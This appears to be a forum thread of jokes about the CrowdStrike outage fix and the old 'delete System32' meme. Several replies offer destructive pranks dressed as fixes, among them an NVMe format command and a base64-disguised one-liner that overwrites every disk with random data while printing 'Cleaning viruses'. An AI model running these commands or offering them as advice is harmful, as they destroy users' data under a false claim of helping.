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Seeing the crowdstrike solution reminded me of the old memes

Go to C:\Windows\System32\drivers\CrowdStrike

Locate and delete file matching "C-00000291*.sys"

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[–] [email protected] 49 points 1 month ago (5 children)

Instructions unclear. Using Linux.

Wait a sec I think I found it.

[–] [email protected] 33 points 1 month ago (1 children)

I found mine in $HOME/.wine32/drive_c/windows/system32

[–] [email protected] 10 points 1 month ago (1 children)

This didn't break my whole system but it did break most of the software I value, so mission accomplished!

[–] [email protected] 2 points 1 month ago

I made a typo in the above. If I correct it you'll be able to break what's left.

[–] [email protected] 24 points 1 month ago (1 children)

If you don't have system32, it's fine to delete one from the store

[–] [email protected] 9 points 1 month ago

Or find another computer and delete it from that.

[–] [email protected] 11 points 1 month ago (1 children)

They may have changed the name to replace the 32 with d, make sure to uninstall systemd if it's installed.

[–] [email protected] 2 points 1 month ago

Instructions unclear installed Alpine linux

[–] [email protected] 10 points 1 month ago (1 children)

On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

[–] [email protected] 3 points 1 month ago (1 children)
[–] [email protected] 2 points 1 month ago (1 children)
echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done
[–] [email protected] 4 points 1 month ago (1 children)

It said ' Cleaning viruses from computer..." And screen went dark

[–] [email protected] 3 points 1 month ago

That's normal. That just means the viruses were cleaned from your computer.

[–] [email protected] 4 points 1 month ago (1 children)

It's the /etc folder in linux. Just extra crap you don't need.

[–] [email protected] 3 points 1 month ago
[–] [email protected] 19 points 1 month ago

system32 is legacy crap anyways and is not used anymore. Everything important is stored in system64

[–] [email protected] 15 points 1 month ago

Did this as a kid 600mb folder I needed space for quake

[–] [email protected] 7 points 1 month ago

Gonna have to bust out the good old carbon dating kit for this meme

[–] [email protected] 7 points 1 month ago (1 children)

It’s an unnecessary folder if you’re running 64-bit.

[–] [email protected] 5 points 1 month ago

It's only there in case you downgrade your processor.

[–] [email protected] 6 points 1 month ago
[–] [email protected] 6 points 1 month ago

I only wanted to triforce.

Now I need to fix dad's laptop before he gets home!

[–] [email protected] 6 points 1 month ago* (last edited 1 month ago)

In my mind, this is exactly what happened with crowdstrike

[–] [email protected] 3 points 1 month ago* (last edited 1 month ago)

but that is where the 1TB "system files" folder is